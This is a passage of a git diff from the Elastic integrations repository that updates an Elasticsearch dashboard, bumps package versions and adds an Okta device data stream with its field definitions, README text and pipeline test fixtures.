"name": "subtract",
- "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)",
+ "text": "average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)",
"type": "function"
},
"e95f13e7-1417-419e-8f53-634184c0497aX2"
],
"location": {
- "max": 158,
+ "max": 156,
"min": 0
},
"name": "multiply",
- "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) -\r\naverage(elasticsearch.node.stats.fs.summary.free.bytes)) *\r\nunique_count(elasticsearch.node.name)",
+ "text": "(average(elasticsearch.node.stats.fs.summary.total.bytes) - average(elasticsearch.node.stats.fs.summary.free.bytes)) * unique_count(elasticsearch.node.name)",
"type": "function"
}
},
@@ -3067,12 +3064,12 @@
},
"gridData": {
"h": 9,
- "i": "78a08a22-3474-4cd8-b0a5-05ae400fbbc0",
+ "i": "c96bb24c-8262-418f-9b22-13cb28768720",
"w": 21,
"x": 27,
"y": 37
},
- "panelIndex": "78a08a22-3474-4cd8-b0a5-05ae400fbbc0",
+ "panelIndex": "c96bb24c-8262-418f-9b22-13cb28768720",
"title": "Total Frozen Capacity",
"type": "lens"
}
@@ -3088,117 +3085,118 @@
"version": 2
},
"coreMigrationVersion": "8.8.0",
- "created_at": "2024-09-03T14:54:28.295Z",
+ "created_at": "2024-10-21T13:13:38.620Z",
"created_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0",
"id": "elasticsearch-b1399af0-628c-11ee-9c63-732d7f759a7a",
"managed": false,
"references": [
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "170c1c3f-3273-4565-b6ec-6f538a2c981a:indexpattern-datasource-layer-5ef6a40f-b718-47fe-b17f-0a313c8fa47a",
+ "name": "90f956d2-9e9d-4d7a-b1d6-6a41b79660fe:indexpattern-datasource-layer-5ef6a40f-b718-47fe-b17f-0a313c8fa47a",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "170c1c3f-3273-4565-b6ec-6f538a2c981a:indexpattern-datasource-layer-7df7d4c3-d21f-401a-8b2b-480e94ae158c",
+ "name": "90f956d2-9e9d-4d7a-b1d6-6a41b79660fe:indexpattern-datasource-layer-7df7d4c3-d21f-401a-8b2b-480e94ae158c",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "170c1c3f-3273-4565-b6ec-6f538a2c981a:901ec4c6-88eb-4149-98e9-4f9c667aaaac",
+ "name": "90f956d2-9e9d-4d7a-b1d6-6a41b79660fe:901ec4c6-88eb-4149-98e9-4f9c667aaaac",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "583ea325-c28c-4a16-952c-1868d5c1aaa1:indexpattern-datasource-layer-5ef6a40f-b718-47fe-b17f-0a313c8fa47a",
+ "name": "285f3b8f-29b1-4377-92ab-5277f4f9fb72:indexpattern-datasource-layer-5ef6a40f-b718-47fe-b17f-0a313c8fa47a",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "583ea325-c28c-4a16-952c-1868d5c1aaa1:cbc5422e-9e2a-4154-ac25-a5fd86d04a81",
+ "name": "285f3b8f-29b1-4377-92ab-5277f4f9fb72:cbc5422e-9e2a-4154-ac25-a5fd86d04a81",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "26bdde12-9818-4960-b087-2bc3113275b3:indexpattern-datasource-layer-97d0f1b8-c436-48e4-b9ff-d3f7c66bb513",
+ "name": "26634e74-25c2-4185-bd11-b7f3d5f6dd94:indexpattern-datasource-layer-97d0f1b8-c436-48e4-b9ff-d3f7c66bb513",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "26bdde12-9818-4960-b087-2bc3113275b3:135dc2e4-99e0-4fa9-9d59-1d4133e8eba1",
+ "name": "26634e74-25c2-4185-bd11-b7f3d5f6dd94:135dc2e4-99e0-4fa9-9d59-1d4133e8eba1",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "df8e7d7a-eee6-43a4-b40f-570d3204858a:indexpattern-datasource-layer-97d0f1b8-c436-48e4-b9ff-d3f7c66bb513",
+ "name": "e206a4d2-3243-47f0-9e0b-632898d1d1a9:indexpattern-datasource-layer-97d0f1b8-c436-48e4-b9ff-d3f7c66bb513",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "df8e7d7a-eee6-43a4-b40f-570d3204858a:8043955f-efbc-4b7a-bcfe-01537e3bb5f1",
+ "name": "e206a4d2-3243-47f0-9e0b-632898d1d1a9:8043955f-efbc-4b7a-bcfe-01537e3bb5f1",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "5ecb1f7a-e81a-4a2e-88c6-daa4cd2e09d7:indexpattern-datasource-layer-65c6f17a-07c7-48c5-a85f-1356fc2fa238",
+ "name": "137bc048-9306-40bb-a0ce-d8e282d2df56:indexpattern-datasource-layer-65c6f17a-07c7-48c5-a85f-1356fc2fa238",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "5ecb1f7a-e81a-4a2e-88c6-daa4cd2e09d7:967fd24b-6e5d-4616-9f67-da08974ed16d",
+ "name": "137bc048-9306-40bb-a0ce-d8e282d2df56:967fd24b-6e5d-4616-9f67-da08974ed16d",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "8752d51c-1b01-4876-8b10-055bbf61caa2:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
+ "name": "e9c29467-4e0f-450d-b30c-9d05db7fcaea:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "8752d51c-1b01-4876-8b10-055bbf61caa2:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
+ "name": "e9c29467-4e0f-450d-b30c-9d05db7fcaea:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "42dd7bf0-5942-4ed7-909a-91acd7ec70c5:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
+ "name": "fbb2075f-d9fc-41f6-8dce-20f90247d08a:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "42dd7bf0-5942-4ed7-909a-91acd7ec70c5:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
+ "name": "fbb2075f-d9fc-41f6-8dce-20f90247d08a:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "be551525-62bc-469a-b798-a2d9d5bc4c53:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
+ "name": "5244b514-3922-44c8-9348-60001c2123ac:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "be551525-62bc-469a-b798-a2d9d5bc4c53:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
+ "name": "5244b514-3922-44c8-9348-60001c2123ac:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "78a08a22-3474-4cd8-b0a5-05ae400fbbc0:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
+ "name": "c96bb24c-8262-418f-9b22-13cb28768720:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "78a08a22-3474-4cd8-b0a5-05ae400fbbc0:indexpattern-datasource-layer-02e09bab-5219-430f-b9eb-174286c0f6d6",
+ "name": "c96bb24c-8262-418f-9b22-13cb28768720:indexpattern-datasource-layer-77792af0-58c5-430a-98b4-1808d6edb5aa",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "controlGroup_edc5ea25-970b-4f97-8064-64ad5a3a9533:optionsListDataView",
+ "name": "controlGroup_a68989df-598b-4464-9c6b-55775912bbb5:optionsListDataView",
"type": "index-pattern"
},
{
"id": "befe6dd7-ec0b-4cb7-aa59-e4d5e6f39ae9",
- "name": "controlGroup_26fa3348-d349-409e-8aad-5da1da895099:optionsListDataView",
+ "name": "controlGroup_fef7d043-569d-4ed2-9fdf-ce87704e449f:optionsListDataView",
"type": "index-pattern"
}
],
"type": "dashboard",
- "typeMigrationVersion": "8.9.0"
+ "typeMigrationVersion": "8.9.0",
+ "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
}
\ No newline at end of file
diff --git a/packages/elasticsearch/manifest.yml b/packages/elasticsearch/manifest.yml
index ab034988857..cedfcb4e24b 100644
--- a/packages/elasticsearch/manifest.yml
+++ b/packages/elasticsearch/manifest.yml
@@ -1,6 +1,6 @@
name: elasticsearch
title: Elasticsearch
-version: 1.17.3
+version: 1.17.4
description: Elasticsearch Integration
type: integration
icons:
diff --git a/packages/entityanalytics_ad/changelog.yml b/packages/entityanalytics_ad/changelog.yml
index e8030bcd32e..e4eb819f215 100644
--- a/packages/entityanalytics_ad/changelog.yml
+++ b/packages/entityanalytics_ad/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "0.7.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.6.0"
changes:
- description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error".
diff --git a/packages/entityanalytics_ad/manifest.yml b/packages/entityanalytics_ad/manifest.yml
index e83d892b7aa..9825fde91c1 100644
--- a/packages/entityanalytics_ad/manifest.yml
+++ b/packages/entityanalytics_ad/manifest.yml
@@ -1,14 +1,14 @@
format_version: "3.0.2"
name: entityanalytics_ad
title: Active Directory Entity Analytics
-version: "0.6.0"
+version: "0.7.0"
description: "Collect User Identities from Active Directory Entity with Elastic Agent."
type: integration
categories:
- security
conditions:
kibana:
- version: "^8.16.0"
+ version: "^8.16.0 || ^9.0.0"
elastic:
subscription: "basic"
screenshots: []
diff --git a/packages/entityanalytics_okta/_dev/build/docs/README.md b/packages/entityanalytics_okta/_dev/build/docs/README.md
index b4c0d49589f..13b452c1799 100644
--- a/packages/entityanalytics_okta/_dev/build/docs/README.md
+++ b/packages/entityanalytics_okta/_dev/build/docs/README.md
@@ -1,16 +1,23 @@
# Okta Entity Analytics
-This [Okta Entity Analytics](https://www.okta.com/) integration allows users to securely stream User Entities data to Elastic Security via the REST API. When integrated with Elastic Security, this valuable data can be leveraged within Elastic for risk-scoring scenarios (e.g., context enrichments) and detecting advanced analytics (UBA) use cases.
+This [Okta Entity Analytics](https://www.okta.com/) integration allows users to securely stream User and Device Entity data to Elastic Security via the REST API. When integrated with Elastic Security, this valuable data can be leveraged within Elastic for risk-scoring scenarios (e.g., context enrichments) and detecting advanced analytics (UBA) use cases.
## Compatibility
This module has been tested against the Core Okta API version **v1**.
+## Upgrading to v2 from v1 of the integration
+
+In v2 of the integration the user and device data was split into separate data streams. The data ingested into your index will be the same but you may need to update device searches if you were using them.
+
+**NOTE**: When you upgrade from v1 you will need to reconfigure the integration and enable it due to internal changes in the package. See [Resolve conflicts](https://www.elastic.co/guide/en/fleet/current/upgrade-integration.html#resolve-conflicts) in the Fleet documentation for details.
+
## Data streams
-The Okta Entity Analytics integration collects one type of data: user.
+The Okta Entity Analytics integration collects two types of data: user and device.
**User** is used to retrieve all user logs available in an organization. See more details in the API documentation [here](https://developer.okta.com/docs/reference/api/users/#list-users).
+**Device** is used to retrieve all device logs available in an organization. See more details in the API documentation [here](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Device/#tag/Device/operation/listDevices).
## Requirements
@@ -56,9 +63,9 @@ The minimum **kibana.version** required is **8.9.0**.
## Usage
-The Okta provider periodically contacts the Okta API, retrieving updates for users, updates its internal cache of user metadata, and ships updated user metadata to Elasticsearch.
+The Okta provider periodically contacts the Okta API, retrieving updates for users and devices, updates its internal cache of user/device metadata, and ships the updated metadata to Elasticsearch.
-Fetching and shipping updates occurs in one of two processes: **full synchronizations** and **incremental updates**. Full synchronizations will send the entire list of users in state, along with write markers to indicate the start and end of the synchronization event. Incremental updates will only send data for changed users during that event. Changes on a user can come in many forms, whether it be a change to the user’s metadata, or a user was added or deleted. By default, full synchronizations occur every 24 hours and incremental updates occur every 15 minutes. These intervals may be customized to suit your use case.
+Fetching and shipping updates occurs in one of two processes: **full synchronizations** and **incremental updates**. Full synchronizations will send the entire list of users and devices in state, along with write markers to indicate the start and end of the synchronization event. Incremental updates will only send data for changed users/devices during that event. Changes can come in many forms, whether it be a change to the user’s or device’s metadata, or a user or device was added or deleted. By default, full synchronizations occur every 24 hours and incremental updates occur every 15 minutes. These intervals may be customized to suit your use case.
## Sample Events
@@ -110,6 +117,106 @@ A user document:
}
```
+A device document:
+
+```json
+{
+ "@timestamp": "2023-07-04T09:57:19.786056-05:00",
+ "event": {
+ "action": "device-discovered",
+ },
+ "okta": {
+ "created": "2019-10-02T18:03:07Z",
+ "id": "deviceid",
+ "lastUpdated": "2019-10-02T18:03:07Z",
+ "profile": {
+ "diskEncryptionType": "ALL_INTERNAL_VOLUMES",
+ "displayName": "Example Device name 1",
+ "platform": "WINDOWS",
+ "registered": true,
+ "secureHardwarePresent": false,
+ "serialNumber": "XXDDRFCFRGF3M8MD6D",
+ "sid": "S-1-11-111"
+ },
+ "resourceAlternateID": "",
+ "resourceDisplayName": {
+ "sensitive": false,
+ "value": "Example Device name 1"
+ },
+ "resourceID": "deviceid",
+ "resourceType": "UDDevice",
+ "status": "ACTIVE",
+ "_links": {
+ "activate": {
+ "hints": {
+ "allow": [
+ "POST"
+ ]
+ },
+ "href": "https://localhost/api/v1/devices/deviceid/lifecycle/activate"
+ },
+ "self": {
+ "hints": {
+ "allow": [
+ "GET",
+ "PATCH",
+ "PUT"
+ ]
+ },
+ "href": "https://localhost/api/v1/devices/deviceid"
+ },
+ "users": {
+ "hints": {
+ "allow": [
+ "GET"
+ ]
+ },
+ "href": "https://localhost/api/v1/devices/deviceid/users"
+ }
+ },
+ "users": [
+ {
+ "id": "userid",
+ "status": "RECOVERY",
+ "created": "2023-05-14T13:37:20Z",
+ "activated": "0001-01-01T00:00:00Z",
+ "statusChanged": "2023-05-15T01:50:30Z",
+ "lastLogin": "2023-05-15T01:59:20Z",
+ "lastUpdated": "2023-05-15T01:50:32Z",
+ "passwordChanged": "2023-05-15T01:50:32Z",
+ "type": {
+ "id": "typeid"
+ },
+ "profile": {
+ "login": "name.surname@example.com",
+ "email": "name.surname@example.com",
+ "firstName": "name",
+ "lastName": "surname"
+ },
+ "credentials": {
+ "password": {},
+ "provider": {
+ "type": "OKTA",
+ "name": "OKTA"
+ }
+ },
+ "_links": {
+ "self": {
+ "href": "https://localhost/api/v1/users/userid"
+ }
+ }
+ }
+ ]
+ },
+ "device": {
+ "id": "deviceid",
+ },
+ "labels": {
+ "identity_source": "okta-1"
+ }
+}
+```
+
Full synchronizations will be bounded on either side by "write marker" documents.
```json
@@ -127,12 +234,14 @@ Full synchronizations will be bounded on either side by "write marker" documents
## Logs reference
-### User
+### Device
-This is the `User` dataset.
+This is the `Device` dataset.
-#### Example
+{{fields "device"}}
-{{event "user"}}
+### User
+
+This is the `User` dataset.
{{fields "user"}}
diff --git a/packages/entityanalytics_okta/changelog.yml b/packages/entityanalytics_okta/changelog.yml
index 4c19fa7bce3..c839f61debc 100644
--- a/packages/entityanalytics_okta/changelog.yml
+++ b/packages/entityanalytics_okta/changelog.yml
@@ -1,4 +1,14 @@
# newer versions go on top
+- version: "2.1.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
+- version: "2.0.0"
+ changes:
+ - description: Split user and device data into their own data streams.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12798
- version: "1.8.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/entityanalytics_okta/data_stream/device/fields/base-fields.yml b/packages/entityanalytics_okta/data_stream/device/fields/base-fields.yml
new file mode 100644
index 00000000000..5b26bf46d15
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/device/fields/base-fields.yml
@@ -0,0 +1,20 @@
+- name: data_stream.type
+ type: constant_keyword
+ description: Data stream type.
+- name: data_stream.dataset
+ type: constant_keyword
+ description: Data stream dataset.
+- name: data_stream.namespace
+ type: constant_keyword
+ description: Data stream namespace.
+- name: event.module
+ type: constant_keyword
+ description: Event module.
+ value: entityanalytics_okta
+- name: event.dataset
+ type: constant_keyword
+ description: Event dataset.
+ value: entityanalytics_okta.device
+- name: '@timestamp'
+ type: date
+ description: Event timestamp.
diff --git a/packages/entityanalytics_okta/data_stream/device/fields/beats.yml b/packages/entityanalytics_okta/data_stream/device/fields/beats.yml
new file mode 100644
index 00000000000..4084f1dc7f5
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/device/fields/beats.yml
@@ -0,0 +1,6 @@
+- name: input.type
+ type: keyword
+ description: Type of filebeat input.
+- name: log.offset
+ type: long
+ description: Log offset.
diff --git a/packages/entityanalytics_okta/data_stream/device/fields/ecs.yml b/packages/entityanalytics_okta/data_stream/device/fields/ecs.yml
new file mode 100644
index 00000000000..61b1130c100
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/device/fields/ecs.yml
@@ -0,0 +1,107 @@
+- name: asset
+ type: group
+ fields:
+ - name: category
+ type: keyword
+ - name: costCenter
+ type: keyword
+ - name: create_date
+ type: date
+ - name: id
+ type: keyword
+ - name: last_seen
+ type: date
+ - name: last_status_change_date
+ type: date
+ - name: last_updated
+ type: date
+ - name: name
+ type: keyword
+ - name: status
+ type: keyword
+ - name: type
+ type: keyword
+ - name: vendor
+ type: keyword
+- name: labels
+ type: group
+ fields:
+ - name: identity_source
+ type: keyword
+- name: user
+ type: group
+ fields:
+ - name: account
+ type: group
+ fields:
+ - name: activated_date
+ type: date
+ - name: change_date
+ type: date
+ - name: create_date
+ type: date
+ - name: password_change_date
+ type: date
+ - name: status
+ type: group
+ fields:
+ - name: deprovisioned
+ type: boolean
+ - name: locked_out
+ type: boolean
+ - name: password_expired
+ type: boolean
+ - name: recovery
+ type: boolean
+ - name: suspended
+ type: boolean
+ - name: geo
+ type: group
+ fields:
+ - name: city_name
+ type: keyword
+ - name: country_iso_code
+ type: keyword
+ - name: name
+ type: keyword
+ - name: postal_code
+ type: keyword
+ - name: region_name
+ type: keyword
+ - name: timezone
+ type: keyword
+ - name: organization
+ type: group
+ fields:
+ - name: name
+ type: keyword
+ - name: profile
+ type: group
+ fields:
+ - name: department
+ type: keyword
+ - name: first_name
+ type: keyword
+ - name: id
+ type: keyword
+ - name: job_title
+ type: keyword
+ - name: last_name
+ type: keyword
+ - name: manager
+ type: keyword
+ - name: mobile_phone
+ type: keyword
+ - name: other_identities
+ type: keyword
+ - name: primaryPhone
+ type: keyword
+ - name: secondEmail
+ type: keyword
+ - name: status
+ type: keyword
+ - name: type
+ type: keyword
+- name: device.serial_number
+ type: keyword
+ description: The unique serial number serves as a distinct identifier for each device, aiding in inventory management and device authentication.
diff --git a/packages/entityanalytics_okta/data_stream/device/fields/fields.yml b/packages/entityanalytics_okta/data_stream/device/fields/fields.yml
new file mode 100644
index 00000000000..61f2d0df58b
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/device/fields/fields.yml
@@ -0,0 +1,56 @@
+- name: entityanalytics_okta
+ type: group
+ fields:
+ - name: device
+ type: group
+ fields:
+ - name: _embedded
+ type: flattened
+ description: embedded resources related to the device.
+ - name: _links
+ type: flattened
+ description: link relations for the device's current status.
+ - name: activated
+ type: date
+ description: timestamp when transition to ACTIVE status completed.
+ - name: created
+ type: date
+ description: timestamp when device was created.
+ - name: id
+ type: keyword
+ description: unique key for device.
+ - name: last_login
+ type: date
+ description: timestamp of last login.
+ - name: last_updated
+ type: date
+ description: timestamp when device was last updated.
+ - name: password_changed
+ type: date
+ description: timestamp when password last changed.
+ - name: profile
+ type: group
+ fields:
+ - name: registered
+ type: boolean
+ description: Whether the device is registered.
+ - name: secure_hardware_present
+ type: boolean
+ description: Whether the device is using secure hardware.
+ - name: "*"
+ type: keyword
+ - name: status
+ type: keyword
+ description: current status of device.
+ - name: status_changed
+ type: date
+ description: timestamp when status last changed.
+ - name: transitioning_to_status
+ type: keyword
+ description: target status of an in-progress asynchronous status transition.
+ - name: type
+ type: flattened
+ description: device type that determines the schema for the device's profile.
+ - name: users
+ type: flattened
+ description: Users associated with the device.
diff --git a/packages/entityanalytics_okta/data_stream/device/manifest.yml b/packages/entityanalytics_okta/data_stream/device/manifest.yml
new file mode 100644
index 00000000000..c47b5e51e87
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/device/manifest.yml
@@ -0,0 +1,3 @@
+title: Collect Devices Identities logs from Okta
+dataset: entityanalytics_okta.device
+type: logs
diff --git a/packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-common-config.yml b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-common-config.yml
similarity index 100%
rename from packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-common-config.yml
rename to packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-common-config.yml
diff --git a/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-device.json b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-device.json
new file mode 100644
index 00000000000..632b89e0159
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-device.json
@@ -0,0 +1,113 @@
+{
+ "events": [
+ {
+ "@timestamp": "2023-06-13T07:12:17.341Z",
+ "okta": {
+ "id": "guo4a5u7YAHhjXrMK0g4",
+ "status": "ACTIVE",
+ "created": "2019-10-02T18:03:07.000Z",
+ "lastUpdated": "2019-10-02T18:03:07.000Z",
+ "profile": {
+ "displayName": "Example Device name 1",
+ "platform": "WINDOWS",
+ "serialNumber": "XXDDRFCFRGF3M8MD6D",
+ "sid": "S-1-11-111",
+ "registered": true,
+ "secureHardwarePresent": false,
+ "diskEncryptionType": "ALL_INTERNAL_VOLUMES"
+ },
+ "resourceType": "UDDevice",
+ "resourceDisplayName": {
+ "value": "Example Device name 1",
+ "sensitive": false
+ },
+ "resourceAlternateId": null,
+ "resourceId": "guo4a5u7YAHhjXrMK0g4",
+ "_links": {
+ "activate": {
+ "href": "https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4/lifecycle/activate",
+ "hints": {
+ "allow": [
+ "POST"
+ ]
+ }
+ },
+ "self": {
+ "href": "https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4",
+ "hints": {
+ "allow": [
+ "GET",
+ "PATCH",
+ "PUT"
+ ]
+ }
+ },
+ "users": {
+ "href": "https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4/users",
+ "hints": {
+ "allow": [
+ "GET"
+ ]
+ }
+ }
+ },
+ "users": [
+ {
+ "id": "00ub0oNGTSWTBKOLGLNR",
+ "status": "ACTIVE",
+ "created": "2013-06-24T16:39:18.000Z",
+ "activated": "2013-06-24T16:39:19.000Z",
+ "statusChanged": "2013-06-24T16:39:19.000Z",
+ "lastLogin": "2013-06-24T17:39:19.000Z",
+ "lastUpdated": "2013-06-27T16:35:28.000Z",
+ "passwordChanged": "2013-06-24T16:39:19.000Z",
+ "profile": {
+ "login": "isaac.brock@example.com",
+ "firstName": "Isaac",
+ "lastName": "Brock",
+ "nickName": "issac",
+ "displayName": "Isaac Brock",
+ "email": "isaac.brock@example.com",
+ "secondEmail": "isaac@example.org",
+ "profileUrl": "http://www.example.com/profile",
+ "preferredLanguage": "en-US",
+ "userType": "Employee",
+ "organization": "Okta",
+ "title": "Director",
+ "division": "R&D",
+ "department": "Engineering",
+ "costCenter": "10",
+ "employeeNumber": "187",
+ "mobilePhone": "+1-555-415-1337",
+ "primaryPhone": "+1-555-514-1337",
+ "streetAddress": "301 Brannan St.",
+ "city": "San Francisco",
+ "state": "CA",
+ "zipCode": "94107",
+ "countryCode": "US"
+ },
+ "credentials": {
+ "provider": {
+ "type": "OKTA",
+ "name": "OKTA"
+ },
+ "recovery_question": {}
+ }
+ }
+ ]
+ },
+ "device": {
+ "id": "guo4a5u7YAHhjXrMK0g4"
+ },
+ "event": {
+ "action": "device-modified"
+ },
+ "input": {
+ "type": "entity-analytics"
+ },
+ "ecs": {
+ "version": "8.0.0"
+ }
+ }
+ ]
+}
\ No newline at end of file
diff --git a/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-device.json-expected.json b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-device.json-expected.json
new file mode 100644
index 00000000000..f50d680a892
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-device.json-expected.json
@@ -0,0 +1,99 @@
+{
+ "expected": [
+ {
+ "@timestamp": "2023-06-13T07:12:17.341Z",
+ "asset": {
+ "category": "entity",
+ "create_date": "2019-10-02T18:03:07.000Z",
+ "id": "guo4a5u7YAHhjXrMK0g4",
+ "last_updated": "2019-10-02T18:03:07.000Z",
+ "name": "Example Device name 1",
+ "status": "ACTIVE",
+ "type": "okta_device"
+ },
+ "data_stream": {
+ "dataset": "entityanalytics_okta.device",
+ "namespace": "default",
+ "type": "logs"
+ },
+ "device": {
+ "id": "guo4a5u7YAHhjXrMK0g4",
+ "serial_number": "XXDDRFCFRGF3M8MD6D"
+ },
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "entityanalytics_okta": {
+ "device": {
+ "_links": {
+ "activate": {
+ "hints": {
+ "allow": [
+ "POST"
+ ]
+ },
+ "href": "https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4/lifecycle/activate"
+ },
+ "self": {
+ "hints": {
+ "allow": [
+ "GET",
+ "PATCH",
+ "PUT"
+ ]
+ },
+ "href": "https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4"
+ },
+ "users": {
+ "hints": {
+ "allow": [
+ "GET"
+ ]
+ },
+ "href": "https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4/users"
+ }
+ },
+ "created": "2019-10-02T18:03:07.000Z",
+ "id": "guo4a5u7YAHhjXrMK0g4",
+ "last_updated": "2019-10-02T18:03:07.000Z",
+ "profile": {
+ "disk_encryption_type": "ALL_INTERNAL_VOLUMES",
+ "display_name": "Example Device name 1",
+ "registered": true,
+ "secure_hardware_present": false,
+ "sid": "S-1-11-111"
+ },
+ "status": "ACTIVE"
+ }
+ },
+ "event": {
+ "category": [
+ "host"
+ ],
+ "kind": "asset",
+ "original": "{\"input\":{\"type\":\"entity-analytics\"},\"@timestamp\":\"2023-06-13T07:12:17.341Z\",\"ecs\":{\"version\":\"8.11.0\"},\"event\":{\"kind\":\"asset\"},\"device\":{\"id\":\"guo4a5u7YAHhjXrMK0g4\"},\"okta\":{\"resourceAlternateId\":null,\"lastUpdated\":\"2019-10-02T18:03:07.000Z\",\"resourceDisplayName\":{\"sensitive\":false,\"value\":\"Example Device name 1\"},\"resourceId\":\"guo4a5u7YAHhjXrMK0g4\",\"_links\":{\"activate\":{\"hints\":{\"allow\":[\"POST\"]},\"href\":\"https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4/lifecycle/activate\"},\"self\":{\"hints\":{\"allow\":[\"GET\",\"PATCH\",\"PUT\"]},\"href\":\"https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4\"},\"users\":{\"hints\":{\"allow\":[\"GET\"]},\"href\":\"https://localhost/api/v1/devices/guo4a5u7YAHhjXrMK0g4/users\"}},\"created\":\"2019-10-02T18:03:07.000Z\",\"profile\":{\"serialNumber\":\"XXDDRFCFRGF3M8MD6D\",\"displayName\":\"Example Device name 